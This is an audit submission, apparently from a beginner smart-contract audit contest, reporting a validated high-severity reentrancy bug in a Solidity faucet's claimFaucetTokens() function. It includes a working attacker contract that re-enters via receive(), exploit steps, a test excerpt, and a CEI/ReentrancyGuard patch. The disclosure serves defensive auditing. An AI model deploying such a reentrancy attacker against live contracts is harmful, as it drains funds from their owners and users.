Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

# [H-01] Reentrancy in `claimFaucetTokens()`

[H-01] Reentrancy in claimFaucetTokens()

Severity: High
Impact: Allows attacker to drain faucet ETH and tokens via reentrancy.


Description

claimFaucetTokens() makes an external ETH transfer (.call) before updating state such as lastClaimTime, dailyClaimCount, and hasClaimedEth.
Because of this, a malicious contract can re-enter via its receive() function and call claimFaucetTokens() again inside the same transaction, bypassing cooldown and limits.
This breaks CEI (Checks-Effects-Interactions) and no ReentrancyGuard is applied.


Length (scope of issue)

  • Affects all users who can call claimFaucetTokens()

  • Exploitable every time faucet has ETH

  • Can drain faucet ETH (0.005 Sepolia ETH per reentry) and duplicate token transfers.

  • High surface impact as this is the core function of the contract.


Proof of Concept (PoC)

Attacker Contract

contract MaliciousClaimer {
RaiseBoxFaucet public faucet;
uint256 public count;
constructor(address _faucet) { faucet = RaiseBoxFaucet(payable(_faucet)); }
receive() external payable {
if (count < 3) { // re-enter multiple times
count++;
faucet.claimFaucetTokens();
}
}
function attack() external { faucet.claimFaucetTokens(); }
}

Expected Exploit

  1. Faucet has ETH and tokens funded.

  2. Attacker deploys MaliciousClaimer.

  3. Calls attack().

  4. On first ETH drip, attacker’s receive() re-enters multiple times.

  5. Faucet balance decreases more than intended, attacker gains extra ETH + tokens.

Foundry Test (excerpt):

attacker.attack();
assert(address(attacker).balance > 0); // gained extra ETH
assert(attacker.count() > 0); // reentrancy happened

Observed: Faucet loses ≥ 0.005 * (1+reentries) ETH in one call.


Mitigation

  1. Apply CEI pattern

    • Do all state updates (lastClaimTime, dailyClaimCount, hasClaimedEth, dailyDrips) before sending ETH.

  2. Add ReentrancyGuard

    • Import OpenZeppelin’s ReentrancyGuard and mark function nonReentrant.

  3. Remove storage-based faucetClaimer

    • Use address claimer = msg.sender; locally.

Patch (diff)

+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
+ address claimer = msg.sender;
// ---------- Checks ----------
if (block.timestamp < lastClaimTime[claimer] + CLAIM_COOLDOWN)
revert ClaimCooldownOn();
// ---------- Effects ----------
_updateDayCounters();
lastClaimTime[claimer] = block.timestamp;
dailyClaimCount++;
bool dripEth = (!hasClaimedEth[claimer]);
if (dripEth) {
hasClaimedEth[claimer] = true;
dailyDrips += sepEthAmountToDrip;
}
// ---------- Interactions ----------
if (dripEth) {
(bool ok, ) = claimer.call{value: sepEthAmountToDrip}("");
if (!ok) revert EthTransferFailed();
}
_transfer(address(this), claimer, faucetDrip);
emit Claimed(claimer, faucetDrip);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 6 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.